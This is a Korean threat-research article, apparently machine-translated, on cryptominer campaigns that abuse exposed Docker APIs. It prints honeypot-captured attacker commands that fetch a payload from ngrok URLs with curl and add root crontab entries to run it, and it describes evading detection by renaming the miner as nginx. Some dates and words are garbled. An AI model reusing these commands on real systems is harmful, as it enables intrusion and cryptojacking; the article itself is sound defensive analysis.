๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•

์œ„ํ˜‘ ์ถ”์ ์„ ์œ„ํ•ด ๋งŒ๋“  ํ—ˆ๋‹ˆํŒŸ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜์ง‘๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ถ„์„ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  Docker Hub์— ์ปค๋ฎค๋‹ˆํ‹ฐ ๊ฒŒ์‹œ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ ์ปจํ…Œ์ด๋„ˆ๋กœ ๋ฐฐํฌ๋œ ์›์น˜ ์•Š๊ฑฐ๋‚˜ ์Šน์ธ๋˜์ง€ ์•Š์€ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด์ž์˜ ์ค‘์š”ํ•œ ํ™œ๋™์„ ๊ฐ์ง€ํ–ˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์ด๋ฏธ์ง€๋Š” ์•…์˜์ ์ธ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด์ž๋ฅผ ์ „๋‹ฌํ•˜๋Š” ์„œ๋น„์Šค์˜ ์ผ๋ถ€๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ์—ด๋ ค ์žˆ๋Š” ์ธ์ ‘ ์ปจํ…Œ์ด๋„ˆ ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์นจํˆฌํ•˜๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ ์ž‘์—…์„ ์œ„ํ•œ ํ”„๋กœ๊ทธ๋žจ์ด ์„ค์น˜๋ฉ๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋Š” ์–ด๋– ํ•œ ๋ณด์•ˆ ์กฐ์น˜๋‚˜ ํ›„์† ์†Œํ”„ํŠธ์›จ์–ด ์„ค์น˜ ์—†์ด ํ—ˆ๋‹ˆํŒŸ์„ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ, ์ฆ‰ ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ๋‘ก๋‹ˆ๋‹ค. Docker์—๋Š” ์˜ค๋ฅ˜์™€ ๋‹จ์ˆœํ•œ ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ์ดˆ๊ธฐ ์„ค์ •์— ๋Œ€ํ•œ ๊ถŒ์žฅ ์‚ฌํ•ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‚ฌ์šฉ๋˜๋Š” ํ—ˆ๋‹ˆํŒŸ์€ ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•„๋‹Œ ์ปจํ…Œ์ด๋„ˆํ™” ํ”Œ๋žซํผ์„ ๊ฒจ๋ƒฅํ•œ ๊ณต๊ฒฉ์„ ํƒ์ง€ํ•˜๋„๋ก ์„ค๊ณ„๋œ ์ปจํ…Œ์ด๋„ˆ์ž…๋‹ˆ๋‹ค.

๊ฐ์ง€๋œ ์•…์„ฑ ํ™œ๋™์€ ์ทจ์•ฝ์ ์ด ํ•„์š”ํ•˜์ง€ ์•Š๊ณ  Docker ๋ฒ„์ „๊ณผ๋„ ๋…๋ฆฝ์ ์ด๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ๋ชฉํ•  ๋งŒํ•ฉ๋‹ˆ๋‹ค. ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด ์—ด๋ ค ์žˆ๋Š” ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŽ์€ ๊ณต๊ฐœ ์„œ๋ฒ„๋ฅผ ๊ฐ์—ผ์‹œํ‚ค๋Š” ๋ฐ ํ•„์š”ํ•œ ์ „๋ถ€์ž…๋‹ˆ๋‹ค.

๋น„๊ณต๊ฐœ Docker API๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋Š” ๋‹ค์–‘ํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŒ€, ์‹คํ–‰ ์ค‘์ธ ์ปจํ…Œ์ด๋„ˆ ๋ชฉ๋ก ๊ฐ€์ ธ์˜ค๊ธฐ, ํŠน์ • ์ปจํ…Œ์ด๋„ˆ์—์„œ ๋กœ๊ทธ ๊ฐ€์ ธ์˜ค๊ธฐ, ์‹œ์ž‘, ์ค‘์ง€(๊ฐ•์ œ ํฌํ•จ), ์ง€์ •๋œ ์„ค์ •์„ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ์ด๋ฏธ์ง€์—์„œ ์ƒˆ ์ปจํ…Œ์ด๋„ˆ ๋งŒ๋“ค๊ธฐ๊นŒ์ง€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
์™ผ์ชฝ์€ ์•…์„ฑ์ฝ”๋“œ ์ „๋‹ฌ ๋ฐฉ์‹์ด๋‹ค. ์˜ค๋ฅธ์ชฝ์—๋Š” ์ด๋ฏธ์ง€๋ฅผ ์›๊ฒฉ์œผ๋กœ ๋กค์•„์›ƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž์˜ ํ™˜๊ฒฝ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
3762๊ฐœ์˜ ๊ฐœ๋ฐฉํ˜• Docker API๊ฐ€ ๊ตญ๊ฐ€๋ณ„๋กœ ๋ฐฐํฌ๋ฉ๋‹ˆ๋‹ค. 12.02.2019๋…„ XNUMX์›” XNUMX์ผ์ž Shodan ๊ฒ€์ƒ‰ ๊ธฐ์ค€

๊ณต๊ฒฉ ์ฒด์ธ ๋ฐ ํŽ˜์ด๋กœ๋“œ ์˜ต์…˜

ํ—ˆ๋‹ˆํŒŸ์˜ ๋„์›€์œผ๋กœ๋งŒ ์•…์˜์ ์ธ ํ™œ๋™์ด ๊ฐ์ง€๋œ ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. Shodan์˜ ๋ฐ์ดํ„ฐ์— ๋”ฐ๋ฅด๋ฉด Monero ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ๋ฐฐํฌํ•˜๊ธฐ ์œ„ํ•œ ๋ธŒ๋ฆฌ์ง€๋กœ ์‚ฌ์šฉ๋˜๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์กฐ์‚ฌํ•œ ์ดํ›„ ๋…ธ์ถœ๋œ Docker API(๋‘ ๋ฒˆ์งธ ๊ทธ๋ž˜ํ”„ ์ฐธ์กฐ)์˜ ์ˆ˜๊ฐ€ ์ฆ๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ง€๋‚œํ•ด 2018์›”(XNUMX๋…„ ํ˜„์žฌ ์ž๋ฃŒ) ๋‹น์‹ ์€ ์ด๋ ‡๊ฒŒ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ์•ฝ. ์—ญ์ž) ๊ณต๊ฐœ API๋Š” 856๊ฐœ์— ๋ถˆ๊ณผํ–ˆ์Šต๋‹ˆ๋‹ค.

ํ—ˆ๋‹ˆํŒŸ ๋กœ๊ทธ๋ฅผ ์กฐ์‚ฌํ•œ ๊ฒฐ๊ณผ ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€ ์‚ฌ์šฉ์ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‚ฌ์šฉ๊ณผ๋„ ์—ฐ๊ด€๋˜์–ด ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ๋‚จ์ž, ๋ณด์•ˆ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฐœ์ ์œผ๋กœ ์•ก์„ธ์Šค ๊ฐ€๋Šฅํ•œ ์ง€์ ์—์„œ ์ง€์ •๋œ ์ฃผ์†Œ๋‚˜ ๋ฆฌ์†Œ์Šค(์˜ˆ: localhost)๋กœ ํŠธ๋ž˜ํ”ฝ์„ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ๊ณต๊ฐœ ์„œ๋ฒ„์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „๋‹ฌํ•  ๋•Œ ๋™์ ์œผ๋กœ URL์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ngrok ์„œ๋น„์Šค ๋‚จ์šฉ์„ ๋ณด์—ฌ์ฃผ๋Š” ๋กœ๊ทธ์˜ ์ฝ”๋“œ ์˜ˆ์ž…๋‹ˆ๋‹ค.

Tty: false
Command: โ€œ-c curl โ€“retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โ€hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ€;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ€ >/tmp9bedce/etc/crontab;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ€ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c โ€cron || crondโ€โ€,
Entrypoint: โ€œ/bin/shโ€

Tty: false,
Command: โ€œ-c curl โ€“retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โ€hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ€;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ€ >/tmp570547/etc/crontab;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ€ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c โ€cron || crondโ€โ€,
Entrypoint: โ€œ/bin/shโ€

Tty: false,
Command: โ€œ-c curl โ€“retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โ€hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ€;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ€ >/tmp326c80/etc/crontab;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ€ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c โ€cron || crondโ€โ€,
Entrypoint: โ€œ/bin/shโ€,

Tty: false,
Cmd: โ€œ-c curl โ€“retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โ€hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ€;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ€ >/tmp8b9b5b/etc/crontab;echo โ€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ€ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c โ€cron || crondโ€โ€,
Entrypoint: โ€œ/bin/shโ€

๋ณด์‹œ๋‹ค์‹œํ”ผ, ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์€ ๋Š์ž„์—†์ด ๋ณ€ํ™”ํ•˜๋Š” URL์—์„œ ๋‹ค์šด๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ URL์€ ๋งŒ๋ฃŒ ๋‚ ์งœ๊ฐ€ ์งง์œผ๋ฏ€๋กœ ๋งŒ๋ฃŒ ๋‚ ์งœ ์ดํ›„์—๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋‘ ๊ฐ€์ง€ ํŽ˜์ด๋กœ๋“œ ์˜ต์…˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” ์ฑ„๊ตด ํ’€์— ์—ฐ๊ฒฐ๋˜๋Š” Linux์šฉ ์ปดํŒŒ์ผ๋œ ELF ์ฑ„๊ตด๊ธฐ(Coinminer.SH.MALXMR.ATNO๋กœ ์ •์˜๋จ)์ž…๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ๋Š” ๋„คํŠธ์›Œํฌ ๋ฒ”์œ„๋ฅผ ์Šค์บ”ํ•œ ๋‹ค์Œ ์ƒˆ ๋Œ€์ƒ์„ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํŠน์ • ๋„คํŠธ์›Œํฌ ๋„๊ตฌ๋ฅผ ์–ป๋„๋ก ์„ค๊ณ„๋œ ์Šคํฌ๋ฆฝํŠธ(TrojanSpy.SH.ZNETMAP.A)์ž…๋‹ˆ๋‹ค.

๋“œ๋กœํผ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋‘ ๊ฐœ์˜ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•œ ๋‹ค์Œ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. HOST ๋ณ€์ˆ˜์—๋Š” ์•…์„ฑ ํŒŒ์ผ์ด ์œ„์น˜ํ•œ URL์ด ํฌํ•จ๋˜๊ณ , RIP ๋ณ€์ˆ˜์—๋Š” ๋ฐฐํฌํ•  ์ฑ„๊ตด๊ธฐ์˜ ํŒŒ์ผ ์ด๋ฆ„(์‚ฌ์‹ค ํ•ด์‹œ)์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. HOST ๋ณ€์ˆ˜๋Š” ํ•ด์‹œ ๋ณ€์ˆ˜๊ฐ€ ๋ณ€๊ฒฝ๋  ๋•Œ๋งˆ๋‹ค ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” ๊ณต๊ฒฉ๋ฐ›์€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰ ์ค‘์ธ ๋‹ค๋ฅธ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด์ž๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
HOST ๋ฐ RIP ๋ณ€์ˆ˜์˜ ์˜ˆ์™€ ๋‹ค๋ฅธ ์ฑ„๊ตด์ž๊ฐ€ ์‹คํ–‰๋˜๊ณ  ์žˆ์ง€ ์•Š์€์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ฝ”๋“œ ์กฐ๊ฐ

์ฑ„๊ตด์„ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ์ด๋ฆ„์ด nginx๋กœ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ์˜ ๋‹ค๋ฅธ ๋ฒ„์ „์—์„œ๋Š” ๊ด‘๋ถ€์˜ ์ด๋ฆ„์„ Linux ํ™˜๊ฒฝ์— ์กด์žฌํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ํ•ฉ๋ฒ•์ ์ธ ์„œ๋น„์Šค๋กœ ๋ฐ”๊ฟ‰๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค ๋ชฉ๋ก์— ๋Œ€ํ•œ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

๊ฒ€์ƒ‰ ์Šคํฌ๋ฆฝํŠธ์—๋„ ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋™์ผํ•œ URL ์„œ๋น„์Šค์™€ ํ•จ๊ป˜ ์ž‘๋™ํ•˜์—ฌ ํ•„์š”ํ•œ ๋„๊ตฌ๋ฅผ ๋ฐฐํฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ์ค‘์—๋Š” ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ  ์—ด๋ฆฐ ํฌํŠธ ๋ชฉ๋ก์„ ์–ป๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” zmap ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฐœ๊ฒฌ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  ํ•ด๋‹น ์„œ๋น„์Šค๋กœ๋ถ€ํ„ฐ ๋ฐฐ๋„ˆ๋ฅผ ์ˆ˜์‹ ํ•˜์—ฌ ๋ฐœ๊ฒฌ๋œ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด(์˜ˆ: ํ•ด๋‹น ๋ฒ„์ „)๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์Šค์บ”ํ•  ์ผ๋ถ€ ๋„คํŠธ์›Œํฌ ๋ฒ”์œ„๋ฅผ ๋ฏธ๋ฆฌ ๊ฒฐ์ •ํ•˜์ง€๋งŒ ์ด๋Š” ์Šคํฌ๋ฆฝํŠธ ๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋˜ํ•œ ์Šค์บ”์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์„œ๋น„์Šค(์ด ๊ฒฝ์šฐ Docker)์—์„œ ๋Œ€์ƒ ํฌํŠธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€๋Šฅํ•œ ๋Œ€์ƒ์„ ์ฐพ์œผ๋ฉด ์ฆ‰์‹œ ๋ฐฐ๋„ˆ๊ฐ€ ์ž๋™์œผ๋กœ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” Redis, Jenkins, Drupal, MODX ๋“ฑ ๊ด€์‹ฌ ์žˆ๋Š” ์„œ๋น„์Šค, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, ๊ตฌ์„ฑ ์š”์†Œ ๋˜๋Š” ํ”Œ๋žซํผ์— ๋”ฐ๋ผ ๋Œ€์ƒ์„ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค. ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ๋งˆ์Šคํ„ฐ, Docker 1.16 ํด๋ผ์ด์–ธํŠธ ๋ฐ Apache CouchDB. ์Šค์บ”ํ•œ ์„œ๋ฒ„๊ฐ€ ์ด๋“ค ์ค‘ ํ•˜๋‚˜๋ผ๋„ ์ผ์น˜ํ•˜๋ฉด ํ…์ŠคํŠธ ํŒŒ์ผ์— ์ €์žฅ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ๋‚˜์ค‘์— ํ›„์† ๋ถ„์„ ๋ฐ ํ•ดํ‚น์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ…์ŠคํŠธ ํŒŒ์ผ์€ ๋™์  ๋งํฌ๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์—…๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ฆ‰, ํŒŒ์ผ๋ณ„๋กœ ๋ณ„๋„์˜ URL์„ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ํ›„์† ์ ‘๊ทผ์ด ์–ด๋ ต๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค.

๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ๋‹ค์Œ ๋‘ ์ฝ”๋“œ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด Docker ์ด๋ฏธ์ง€์ž…๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
์ƒ๋‹จ์—๋Š” ํ•ฉ๋ฒ•์ ์ธ ์„œ๋น„์Šค๋กœ ์ด๋ฆ„์ด ๋ฐ”๋€Œ๊ณ  ํ•˜๋‹จ์—๋Š” zmap์„ ์‚ฌ์šฉํ•˜์—ฌ ๋„คํŠธ์›Œํฌ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
์ƒ๋‹จ์—๋Š” ์‚ฌ์ „ ์ •์˜๋œ ๋„คํŠธ์›Œํฌ ๋ฒ”์œ„๊ฐ€ ์žˆ๊ณ  ํ•˜๋‹จ์—๋Š” Docker๋ฅผ ํฌํ•จํ•˜์—ฌ ์„œ๋น„์Šค ๊ฒ€์ƒ‰์„ ์œ„ํ•œ ํŠน์ • ํฌํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น„๋…์  Docker API์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ณต๊ฐœ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”ํ ์ฑ„๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐฉ๋ฒ•
์Šคํฌ๋ฆฐ์ƒท์„ ๋ณด๋ฉด ์•ŒํŒŒ์ธ ์ปฌ ์ด๋ฏธ์ง€๊ฐ€ ์ฒœ๋งŒ ๋ฒˆ ์ด์ƒ ๋‹ค์šด๋กœ๋“œ๋˜์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Alpine Linux์™€ ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ํŒŒ์ผ์„ ์ „์†กํ•˜๊ธฐ ์œ„ํ•œ ๋ฆฌ์†Œ์Šค ํšจ์œจ์ ์ธ CLI ๋„๊ตฌ์ธ ์ปฌ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋‹ค์Œ์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋„์ปค ์ด๋ฏธ์ง€. ์ด์ „ ์ด๋ฏธ์ง€์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด ์ด ์ด๋ฏธ์ง€๋Š” ์ด๋ฏธ ์ฒœ๋งŒ ๋ฒˆ ์ด์ƒ ๋‹ค์šด๋กœ๋“œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์šด๋กœ๋“œ ์ˆ˜๊ฐ€ ๋งŽ๋‹ค๋Š” ๊ฒƒ์€ ์ด ์ด๋ฏธ์ง€๋ฅผ ์ง„์ž…์ ์œผ๋กœ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ์˜๋ฏธ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ด๋ฏธ์ง€๋Š” 10๊ฐœ์›” ์ด์ƒ ์ „์— ์—…๋ฐ์ดํŠธ๋˜์—ˆ์œผ๋ฉฐ ์‚ฌ์šฉ์ž๋Š” ์ด ์ €์žฅ์†Œ์—์„œ ๋‹ค๋ฅธ ์ด๋ฏธ์ง€๋ฅผ ์ž์ฃผ ๋‹ค์šด๋กœ๋“œํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๋„์ปค์—์„œ ์ง„์ž…์  - ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๊ตฌ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ผ๋ จ์˜ ์ง€์นจ์ž…๋‹ˆ๋‹ค. ์ง„์ž…์  ์„ค์ •์ด ์ž˜๋ชป๋œ ๊ฒฝ์šฐ(์˜ˆ: ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ์ธํ„ฐ๋„ท์— ์—ด๋ ค ์žˆ๋Š” ๊ฒฝ์šฐ) ์ด๋ฏธ์ง€๊ฐ€ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์—ˆ๊ฑฐ๋‚˜ ์ง€์›๋˜์ง€ ์•Š๋Š” ์—ด๋ฆฐ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋ฐœ๊ฒฌํ•œ ๊ฒฝ์šฐ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

